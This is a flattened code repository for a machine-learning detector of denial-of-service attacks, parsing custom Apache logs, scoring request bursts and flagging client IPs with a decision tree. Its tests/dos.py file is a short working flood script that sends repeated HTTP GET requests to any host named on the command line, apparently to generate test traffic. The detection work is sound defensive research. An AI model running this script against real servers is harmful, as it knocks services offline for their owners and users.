├── App.py ├── Classifier.py ├── Classifier.pyc ├── Dataset.py ├── Dataset.pyc ├── LICENSE ├── README.md ├── _config.yml ├── config └── apache │ ├── 000-default.conf │ ├── apache2.conf │ └── readme.txt ├── data └── train.csv ├── install.sh ├── tests └── dos.py └── utils ├── Anomaly.py ├── Anomaly.pyc ├── DateUtil.py ├── DateUtil.pyc ├── LogHelper.py ├── LogHelper.pyc ├── __init__.py └── __init__.pyc /App.py: -------------------------------------------------------------------------------- 1 | from Classifier import Classififer 2 | import pandas as pd 3 | import numpy as np 4 | from Dataset import Dataset 5 | 6 | 7 | class App: 8 | def __init__(self): 9 | self.classifier = Classififer().get_classifier(); 10 | 11 | 12 | def train(self): 13 | df = pd.read_csv('data/train.csv', header=None) 14 | data = np.array(df) 15 | self.x_train = data[:, :-1] 16 | self.y_train = data[:, -1:] 17 | self.classifier.fit(self.x_train,self.y_train) 18 | 19 | def test(self): 20 | self.ds_obj = Dataset() 21 | ds = self.ds_obj.read_dataset() 22 | new_ds = [] 23 | for row in ds: 24 | new_ds.append(row[1:]) 25 | self.x_test = np.array(new_ds) 26 | self.results = self.classifier.predict(self.x_test) 27 | 28 | def post_test(self): 29 | client_ip_ids = [] 30 | total_test,_ = self.x_test.shape 31 | 32 | for i in range(total_test): 33 | if self.results[i]==1 : 34 | if self.x_test[i,1] not in client_ip_ids: 35 | client_ip_ids.append(self.x_test[i,1]) 36 | dos_ips = self.ds_obj.detransform_client_ip(np.array(client_ip_ids,dtype="int64")) 37 | for ip in dos_ips: 38 | print ip 39 | 40 | def run(self): 41 | self.train() 42 | self.test() 43 | self.post_test() 44 | 45 | 46 | if __name__ == '__main__': 47 | app = App() 48 | app.run() 49 | 50 | 51 | -------------------------------------------------------------------------------- /Classifier.py: -------------------------------------------------------------------------------- 1 | from sklearn import svm 2 | from sklearn.tree import DecisionTreeClassifier 3 | 4 | class Classififer: 5 | def __init__(self): 6 | pass 7 | 8 | def get_classifier(self): 9 | ''' 10 | returns Classifier object 11 | ''' 12 | clf = DecisionTreeClassifier() 13 | return clf 14 | -------------------------------------------------------------------------------- /Classifier.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alonecoder1337/Dos-Attack-Detection-using-Machine-Learning/792faa22394ac9c16b5516e01dd08f7eaf38a370/Classifier.pyc -------------------------------------------------------------------------------- /Dataset.py: -------------------------------------------------------------------------------- 1 | import sklearn 2 | import numpy as np 3 | from utils.LogHelper import Logs 4 | from utils.DateUtil import get_microseconds 5 | from utils.Anomaly import Anomaly 6 | from sklearn import preprocessing 7 | 8 | 9 | class Dataset: 10 | 11 | def __init__(self): 12 | 13 | self.logs = Logs().read() 14 | self.client_ip_label_encoder = preprocessing.LabelEncoder() 15 | self.request_method_label_encoder = preprocessing.LabelEncoder() 16 | self.request_status_label_encoder = preprocessing.LabelEncoder() 17 | self.request_size_label_encoder = preprocessing.LabelEncoder() 18 | self.time_taken_to_serve_label_encoder =preprocessing.LabelEncoder() 19 | self.user_agent_label_encoder =preprocessing.LabelEncoder() 20 | self.request_header_label_encoder = preprocessing.LabelEncoder() 21 | 22 | self.scores = [] 23 | self.client_ips = [] 24 | self.request_methods = [] 25 | self.request_status = [] 26 | self.request_size = [] 27 | self.times_taken_to_serve = [] 28 | self.user_agents = [] 29 | self.request_headers = [] 30 | 31 | self.dataset = [] 32 | 33 | def preprocess_time(self): 34 | timestamp_clusters = {} 35 | for row in self.logs: 36 | timestamp = get_microseconds(row[0]) 37 | if timestamp not in timestamp_clusters: 38 | timestamp_clusters[timestamp]=0 39 | timestamp_clusters[timestamp] = timestamp_clusters[timestamp] + 1 40 | anomaly_scores = Anomaly().detect(timestamp_clusters) 41 | for row in self.logs: 42 | self.scores.append(anomaly_scores[row[0]]) 43 | 44 | def preprocess_client_ip(self): 45 | self.client_ip_label_encoder.fit([row[1] for row in self.logs]) 46 | inst = [row[1] for row in self.logs] 47 | self.client_ips = self.client_ip_label_encoder.transform(inst) 48 | 49 | def preprocess_request_method(self): 50 | self.request_method_label_encoder.fit([row[2] for row in self.logs]) 51 | inst = [row[2] for row in self.logs] 52 | self.request_methods = self.request_method_label_encoder.transform(inst) 53 | 54 | def preprocess_request_status(self): 55 | self.request_status_label_encoder.fit([row[3] for row in self.logs]) 56 | inst = [row[3] for row in self.logs] 57 | self.request_status = self.request_status_label_encoder.transform(inst) 58 | 59 | def preprocess_request_size(self): 60 | self.request_size_label_encoder.fit([row[4] for row in self.logs]) 61 | inst = [row[4] for row in self.logs] 62 | self.request_size = self.request_size_label_encoder.transform(inst) 63 | 64 | def preprocess_time_taken_to_serve(self): 65 | self.time_taken_to_serve_label_encoder.fit([row[5] for row in self.logs]) 66 | inst = [row[5] for row in self.logs] 67 | self.times_taken_to_serve = self.time_taken_to_serve_label_encoder.transform(inst) 68 | 69 | def proprocess_user_agent(self): 70 | self.user_agent_label_encoder.fit([row[6] for row in self.logs]) 71 | inst = [row[6] for row in self.logs] 72 | self.user_agents = self.user_agent_label_encoder.transform(inst) 73 | 74 | def preprocess_request_header(self): 75 | self.request_header_label_encoder.fit([row[7] for row in self.logs]) 76 | inst = [row[7] for row in self.logs] 77 | self.request_headers = self.request_header_label_encoder.transform(inst) 78 | 79 | def detransform_client_ip(self, client_ip_list): 80 | return self.client_ip_label_encoder.inverse_transform(client_ip_list) 81 | 82 | def preprocess(self): 83 | 84 | self.preprocess_time() 85 | self.preprocess_client_ip() 86 | self.preprocess_request_method() 87 | self.preprocess_request_status() 88 | self.preprocess_request_size() 89 | self.preprocess_time_taken_to_serve() 90 | self.proprocess_user_agent() 91 | self.preprocess_request_header() 92 | 93 | dataset_size = len(self.logs) 94 | for i in range(dataset_size): 95 | obj = [ 96 | self.logs[i][0], 97 | self.scores[i], 98 | self.client_ips[i], 99 | self.request_methods[i], 100 | self.request_status[i], 101 | self.request_size[i], 102 | self.times_taken_to_serve[i], 103 | self.user_agents[i], 104 | self.request_headers[i] 105 | ] 106 | self.dataset.append(obj) 107 | 108 | def read_dataset(self): 109 | self.preprocess() 110 | return self.dataset 111 | 112 | 113 | if __name__=='__main__': 114 | dataset_obj = Dataset() 115 | dataset_obj.preprocess() -------------------------------------------------------------------------------- /Dataset.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alonecoder1337/Dos-Attack-Detection-using-Machine-Learning/792faa22394ac9c16b5516e01dd08f7eaf38a370/Dataset.pyc -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 ASIF MOHAMMED 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Welcome to GitHub 2 | 3 | 4 | 5 | 6 | ## Installation 7 | 8 | `sudo apt-get install python-setuptools python-numpy python-scipy python-matplotlib python-pip -y` 9 | 10 | `sudo pip install numpy scipy matplotlib scikit-learn luminol` 11 | 12 | 13 | 14 | 15 | ## Setting up Logs 16 | 17 | You must give the location of log files in order to run this program. Following is the log format for any web server 18 | 19 | "%d-%b-%Y %T::::%a::::%m::::%s::::%B::::%D::::%U::::%r" 20 | 21 | %d is date 22 | 23 | %b is month 24 | 25 | %Y is Year 26 | 27 | %T is Time (hour:min:sec in 24hour clock format) 28 | 29 | %a is client ip address 30 | 31 | %m is the request method 32 | 33 | %s is status code 34 | 35 | %B is size of response in bytes 36 | 37 | %D is time taken to serve the request 38 | 39 | %U is the url path 40 | 41 | 42 | 43 | 44 | ## Running Procedure 45 | 46 | `python App.py [-h] train_filepath test_filepath` 47 | 48 | 49 | 50 | ## Contributions 51 | 52 | Contributors are always welcome.I am ready to accept contributions. 53 | 54 | 55 | 56 | ## Dataset 57 | 58 | Dataset can be obtained using WireShark on Ubuntu 59 | -------------------------------------------------------------------------------- /_config.yml: -------------------------------------------------------------------------------- 1 | theme: jekyll-theme-slate -------------------------------------------------------------------------------- /config/apache/000-default.conf: -------------------------------------------------------------------------------- 1 | 2 | # The ServerName directive sets the request scheme, hostname and port that 3 | # the server uses to identify itself. This is used when creating 4 | # redirection URLs. In the context of virtual hosts, the ServerName 5 | # specifies what hostname must appear in the request's Host: header to 6 | # match this virtual host. For the default virtual host (this file) this 7 | # value is not decisive as it is used as a last resort host regardless. 8 | # However, you must set it for any further virtual host explicitly. 9 | #ServerName www.example.com 10 | 11 | ServerAdmin webmaster@localhost 12 | DocumentRoot /var/www/html 13 | 14 | # Available loglevels: trace8, ..., trace1, debug, info, notice, warn, 15 | # error, crit, alert, emerg. 16 | # It is also possible to configure the loglevel for particular 17 | # modules, e.g. 18 | #LogLevel info ssl:warn 19 | 20 | ErrorLog ${APACHE_LOG_DIR}/error.log 21 | #CustomLog ${APACHE_LOG_DIR}/access.log combined 22 | CustomLog ${APACHE_LOG_DIR}/custom.log dos 23 | 24 | # For most configuration files from conf-available/, which are 25 | # enabled or disabled at a global level, it is possible to 26 | # include a line for only one particular virtual host. For example the 27 | # following line enables the CGI configuration for this host only 28 | # after it has been globally disabled with "a2disconf". 29 | #Include conf-available/serve-cgi-bin.conf 30 | 31 | 32 | # vim: syntax=apache ts=4 sw=4 sts=4 sr noet 33 | -------------------------------------------------------------------------------- /config/apache/apache2.conf: -------------------------------------------------------------------------------- 1 | # This is the main Apache server configuration file. It contains the 2 | # configuration directives that give the server its instructions. 3 | # See http://httpd.apache.org/docs/2.4/ for detailed information about 4 | # the directives and /usr/share/doc/apache2/README.Debian about Debian specific 5 | # hints. 6 | # 7 | # 8 | # Summary of how the Apache 2 configuration works in Debian: 9 | # The Apache 2 web server configuration in Debian is quite different to 10 | # upstream's suggested way to configure the web server. This is because Debian's 11 | # default Apache2 installation attempts to make adding and removing modules, 12 | # virtual hosts, and extra configuration directives as flexible as possible, in 13 | # order to make automating the changes and administering the server as easy as 14 | # possible. 15 | 16 | # It is split into several files forming the configuration hierarchy outlined 17 | # below, all located in the /etc/apache2/ directory: 18 | # 19 | # /etc/apache2/ 20 | # |-- apache2.conf 21 | # | `-- ports.conf 22 | # |-- mods-enabled 23 | # | |-- *.load 24 | # | `-- *.conf 25 | # |-- conf-enabled 26 | # | `-- *.conf 27 | # `-- sites-enabled 28 | # `-- *.conf 29 | # 30 | # 31 | # * apache2.conf is the main configuration file (this file). It puts the pieces 32 | # together by including all remaining configuration files when starting up the 33 | # web server. 34 | # 35 | # * ports.conf is always included from the main configuration file. It is 36 | # supposed to determine listening ports for incoming connections which can be 37 | # customized anytime. 38 | # 39 | # * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/ 40 | # directories contain particular configuration snippets which manage modules, 41 | # global configuration fragments, or virtual host configurations, 42 | # respectively. 43 | # 44 | # They are activated by symlinking available configuration files from their 45 | # respective *-available/ counterparts. These should be managed by using our 46 | # helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See 47 | # their respective man pages for detailed information. 48 | # 49 | # * The binary is called apache2. Due to the use of environment variables, in 50 | # the default configuration, apache2 needs to be started/stopped with 51 | # /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not 52 | # work with the default configuration. 53 | 54 | 55 | # Global configuration 56 | # 57 | 58 | # 59 | # ServerRoot: The top of the directory tree under which the server's 60 | # configuration, error, and log files are kept. 61 | # 62 | # NOTE! If you intend to place this on an NFS (or otherwise network) 63 | # mounted filesystem then please read the Mutex documentation (available 64 | # at ); 65 | # you will save yourself a lot of trouble. 66 | # 67 | # Do NOT add a slash at the end of the directory path. 68 | # 69 | #ServerRoot "/etc/apache2" 70 | 71 | # 72 | # The accept serialization lock file MUST BE STORED ON A LOCAL DISK. 73 | # 74 | Mutex file:${APACHE_LOCK_DIR} default 75 | 76 | # 77 | # PidFile: The file in which the server should record its process 78 | # identification number when it starts. 79 | # This needs to be set in /etc/apache2/envvars 80 | # 81 | PidFile ${APACHE_PID_FILE} 82 | 83 | # 84 | # Timeout: The number of seconds before receives and sends time out. 85 | # 86 | Timeout 300 87 | 88 | # 89 | # KeepAlive: Whether or not to allow persistent connections (more than 90 | # one request per connection). Set to "Off" to deactivate. 91 | # 92 | KeepAlive On 93 | 94 | # 95 | # MaxKeepAliveRequests: The maximum number of requests to allow 96 | # during a persistent connection. Set to 0 to allow an unlimited amount. 97 | # We recommend you leave this number high, for maximum performance. 98 | # 99 | MaxKeepAliveRequests 100 100 | 101 | # 102 | # KeepAliveTimeout: Number of seconds to wait for the next request from the 103 | # same client on the same connection. 104 | # 105 | KeepAliveTimeout 5 106 | 107 | 108 | # These need to be set in /etc/apache2/envvars 109 | User ${APACHE_RUN_USER} 110 | Group ${APACHE_RUN_GROUP} 111 | 112 | # 113 | # HostnameLookups: Log the names of clients or just their IP addresses 114 | # e.g., www.apache.org (on) or 204.62.129.132 (off). 115 | # The default is off because it'd be overall better for the net if people 116 | # had to knowingly turn this feature on, since enabling it means that 117 | # each client request will result in AT LEAST one lookup request to the 118 | # nameserver. 119 | # 120 | HostnameLookups Off 121 | 122 | # ErrorLog: The location of the error log file. 123 | # If you do not specify an ErrorLog directive within a 124 | # container, error messages relating to that virtual host will be 125 | # logged here. If you *do* define an error logfile for a 126 | # container, that host's errors will be logged there and not here. 127 | # 128 | ErrorLog ${APACHE_LOG_DIR}/error.log 129 | 130 | # 131 | # LogLevel: Control the severity of messages logged to the error_log. 132 | # Available values: trace8, ..., trace1, debug, info, notice, warn, 133 | # error, crit, alert, emerg. 134 | # It is also possible to configure the log level for particular modules, e.g. 135 | # "LogLevel info ssl:warn" 136 | # 137 | LogLevel warn 138 | 139 | # Include module configuration: 140 | IncludeOptional mods-enabled/*.load 141 | IncludeOptional mods-enabled/*.conf 142 | 143 | # Include list of ports to listen on 144 | Include ports.conf 145 | 146 | 147 | # Sets the default security model of the Apache2 HTTPD server. It does 148 | # not allow access to the root filesystem outside of /usr/share and /var/www. 149 | # The former is used by web applications packaged in Debian, 150 | # the latter may be used for local directories served by the web server. If 151 | # your system is serving content from a sub-directory in /srv you must allow 152 | # access here, or in any related virtual host. 153 | 154 | Options FollowSymLinks 155 | AllowOverride None 156 | Require all denied 157 | 158 | 159 | 160 | AllowOverride None 161 | Require all granted 162 | 163 | 164 | 165 | Options Indexes FollowSymLinks 166 | AllowOverride None 167 | Require all granted 168 | 169 | 170 | # 171 | # Options Indexes FollowSymLinks 172 | # AllowOverride None 173 | # Require all granted 174 | # 175 | 176 | 177 | 178 | 179 | # AccessFileName: The name of the file to look for in each directory 180 | # for additional configuration directives. See also the AllowOverride 181 | # directive. 182 | # 183 | AccessFileName .htaccess 184 | 185 | # 186 | # The following lines prevent .htaccess and .htpasswd files from being 187 | # viewed by Web clients. 188 | # 189 | 190 | Require all denied 191 | 192 | 193 | 194 | # 195 | # The following directives define some format nicknames for use with 196 | # a CustomLog directive. 197 | # 198 | # These deviate from the Common Log Format definitions in that they use %O 199 | # (the actual bytes sent including headers) instead of %b (the size of the 200 | # requested file), because the latter makes it impossible to detect partial 201 | # requests. 202 | # 203 | # Note that the use of %{X-Forwarded-For}i instead of %h is not recommended. 204 | # Use mod_remoteip instead. 205 | # 206 | LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined 207 | LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined 208 | LogFormat "%h %l %u %t \"%r\" %>s %O" common 209 | LogFormat "%{Referer}i -> %U" referer 210 | LogFormat "%{User-agent}i" agent 211 | LogFormat "%{%d-%b-%Y %T}t::::%a::::%m::::%>s::::%B::::%D::::%{User-agent}i::::%r" dos 212 | 213 | # Include of directories ignores editors' and dpkg's backup files, 214 | # see README.Debian for details. 215 | 216 | # Include generic snippets of statements 217 | IncludeOptional conf-enabled/*.conf 218 | 219 | # Include the virtual host configurations: 220 | IncludeOptional sites-enabled/*.conf 221 | 222 | # vim: syntax=apache ts=4 sw=4 sts=4 sr noet 223 | -------------------------------------------------------------------------------- /config/apache/readme.txt: -------------------------------------------------------------------------------- 1 | 2 | 3 | ########### CUSTOM REQUEST LOGGING ############ 4 | 5 | move apache2.conf to /etc/apache2/ 6 | move 000-default.conf to /etc/apache2/sites-availabl/ 7 | 8 | 9 | -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | sudo apt-get update 4 | sudo apt-get install -f 5 | sudo apt-get install python-setuptools python-numpy python-scipy python-matplotlib python-pip -y 6 | sudo pip install numpy scipy matplotlib scikit-learn luminol -y 7 | -------------------------------------------------------------------------------- /tests/dos.py: -------------------------------------------------------------------------------- 1 | import socket, sys, os 2 | print "][ Attacking " + sys.argv[1] + " ... ][" 3 | print "injecting " + sys.argv[2]; 4 | def attack(): 5 | #pid = os.fork() 6 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 7 | s.connect((sys.argv[1], 80)) 8 | print ">> GET /" + sys.argv[2] + " HTTP/1.1" 9 | s.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n") 10 | s.send("Host: " + sys.argv[1] + "\r\n\r\n"); 11 | s.close() 12 | for i in range(1, 1000): 13 | attack() 14 | -------------------------------------------------------------------------------- /utils/Anomaly.py: -------------------------------------------------------------------------------- 1 | from luminol.anomaly_detector import AnomalyDetector 2 | import time 3 | 4 | class Anomaly: 5 | 6 | def __init__(self): 7 | pass 8 | 9 | def detect(self,ts): 10 | my_detector = AnomalyDetector(ts) 11 | score = my_detector.get_all_scores() 12 | anom_score = [] 13 | 14 | for (timestamp, value) in score.iteritems(): 15 | t_str = time.strftime('%d-%b-%Y %H:%M:%S', time.localtime(timestamp)) 16 | anom_score.append([t_str, value]) 17 | overall_stats = {} 18 | 19 | for score in anom_score: 20 | overall_stats[score[0]] = score[1] 21 | return overall_stats -------------------------------------------------------------------------------- /utils/Anomaly.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alonecoder1337/Dos-Attack-Detection-using-Machine-Learning/792faa22394ac9c16b5516e01dd08f7eaf38a370/utils/Anomaly.pyc -------------------------------------------------------------------------------- /utils/DateUtil.py: -------------------------------------------------------------------------------- 1 | from datetime import datetime 2 | import time 3 | 4 | 5 | def get_microseconds(date_inst): 6 | 7 | datetime_obj = datetime.strptime(date_inst,'%d-%b-%Y %H:%M:%S') 8 | return time.mktime(datetime_obj.timetuple()) 9 | 10 | 11 | 12 | if __name__=="__main__": 13 | print get_microseconds('16/Apr/2017 15:48:35.730') 14 | print get_microseconds('16/Apr/2017 15:49:35.730') -------------------------------------------------------------------------------- /utils/DateUtil.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alonecoder1337/Dos-Attack-Detection-using-Machine-Learning/792faa22394ac9c16b5516e01dd08f7eaf38a370/utils/DateUtil.pyc -------------------------------------------------------------------------------- /utils/LogHelper.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | 4 | class Logs: 5 | 6 | def __init__(self): 7 | self.log_filename = "/var/log/apache2/custom.log" 8 | 9 | def read(self): 10 | ''' 11 | Custom Log Format: 12 | Time 13 | Client_IP 14 | Request Method 15 | Request Status 16 | Request Size 17 | Time Taken to Server Request 18 | User Agent 19 | Request Header 20 | ''' 21 | 22 | file_data = open(self.log_filename,"r").readlines() 23 | ds = [] 24 | for line in file_data: 25 | newline = line.strip().split("::::") 26 | newline[0] = " ".join(newline[0].split()[:2]) 27 | ds.append(newline) 28 | return ds 29 | 30 | if __name__=='__main__': 31 | something = Logs() 32 | objs = something.read() 33 | -------------------------------------------------------------------------------- /utils/LogHelper.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alonecoder1337/Dos-Attack-Detection-using-Machine-Learning/792faa22394ac9c16b5516e01dd08f7eaf38a370/utils/LogHelper.pyc -------------------------------------------------------------------------------- /utils/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alonecoder1337/Dos-Attack-Detection-using-Machine-Learning/792faa22394ac9c16b5516e01dd08f7eaf38a370/utils/__init__.py -------------------------------------------------------------------------------- /utils/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alonecoder1337/Dos-Attack-Detection-using-Machine-Learning/792faa22394ac9c16b5516e01dd08f7eaf38a370/utils/__init__.pyc --------------------------------------------------------------------------------